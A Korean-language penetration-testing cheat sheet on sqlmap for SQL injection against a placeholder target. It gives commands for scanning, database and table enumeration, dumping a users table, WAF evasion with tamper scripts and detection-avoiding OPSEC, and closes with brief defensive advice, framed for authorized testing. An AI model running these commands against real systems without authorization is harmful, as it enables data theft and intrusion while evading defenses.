ATT&CK: T1190 Exploit Public-Facing Application · Initial Access (TA0001)

sqlmap은 20년 가까이 유지보수된 SQLi 전문 도구. 자동화 범위가 너무 넓어서 그냥 -u URL로 돌리면 수백~수천 요청을 금방 쏘고 WAF를 자극한다. 실전에선 Burp에서 캡처한 요청을 통째로 넘기고 범위를 좁히는 패턴.

1. 기본

sqlmap -u 'https://target.example.com/item?id=1' \
       --risk 1 --level 1 \
       --batch
  • --risk/--level: 공격 다양성과 요청 수. 기본은 1/1. 올리면 WAF를 더 자극한다.
  • --batch: 모든 질문에 default 응답 (상호작용 없이).

2. Burp request 파일로 돌리기 (실전형)

Burp에서 Request 캡처 → “Copy to file” → sqlmap에 전달:

sqlmap -r request.txt --batch --risk 2 --level 3
  • POST body, 쿠키, 커스텀 헤더, 세션 모두 포함돼서 인증된 세션 뒤의 파라미터를 테스트 가능.
  • --param-filter 또는 request 안에 * 마커로 특정 파라미터만 테스트.

3. 범위 통제

3.1 특정 파라미터만

sqlmap -r request.txt -p id --batch

3.2 특정 DBMS 가정

sqlmap -r request.txt --dbms=mysql --batch

알려진 백엔드가 있으면 지문 조사 트래픽을 아예 생략.

3.3 특정 기법만

sqlmap -r request.txt --technique=BT --batch
  • B: Boolean-based blind
  • T: Time-based blind
  • U: Union-based
  • E: Error-based
  • S: Stacked
  • Q: Inline

Time-based는 요청마다 몇 초씩 지연 → 매우 느리고 임계 트래픽 유발. 가능하면 다른 기법 먼저.

4. 발견 후 — 정보 수집 단계

# DB 목록
sqlmap -r request.txt --dbs

# 특정 DB의 테이블
sqlmap -r request.txt -D app_db --tables

# 테이블 컬럼
sqlmap -r request.txt -D app_db -T users --columns

# 데이터 (--dump) — 범위 제한 필수
sqlmap -r request.txt -D app_db -T users --dump --where="id<10"

프로덕션 DB를 --dump 전부는 데이터 파손/서비스 중단 위험. 반드시 LIMIT/WHERE로 샘플만.

5. WAF 우회 — tamper 스크립트

sqlmap은 tamper/ 디렉터리에 payload 변형 스크립트를 가지고 있다:

sqlmap -r request.txt --tamper=space2comment,between,randomcase
  • space2comment: 공백 → /**/ 치환.
  • between: > → NOT BETWEEN ... AND ... 재작성.
  • randomcase: 키워드 대소문자 랜덤화.

실제로 어떤 조합이 통할지는 WAF마다 다름 — 몇 개 시도해보고 반응 관찰.

6. OPSEC

  • sqlmap 기본 UA는 sqlmap/x.x.x#stable (http://sqlmap.org) — WAF가 즉시 블록. --random-agent 또는 --user-agent 지정.
  • --delay 2 --timeout 30 --retries 1로 느리게 가는 옵션.
  • -o는 WAF가 자주 룰로 감지하는 몇 가지 payload를 자동 생략.
  • 트래픽 양이 수백~수천 요청이라 반드시 사전 승인 필요.

7. 블루팀

  • WAF 로그에서 “SQL keywords의 비정상 조합이 들어있는 쿼리 파라미터"가 집중 패턴으로 발생.
  • DB 쪽에서 파라미터화 쿼리 적용이 사실상 유일한 안정적 완화 (ORM도 raw SQL 조립하면 뚫림).
  • 결과를 노출하는 에러 메시지 숨기기 (display_errors=Off 등) — Error-based를 어렵게 만든다.

참고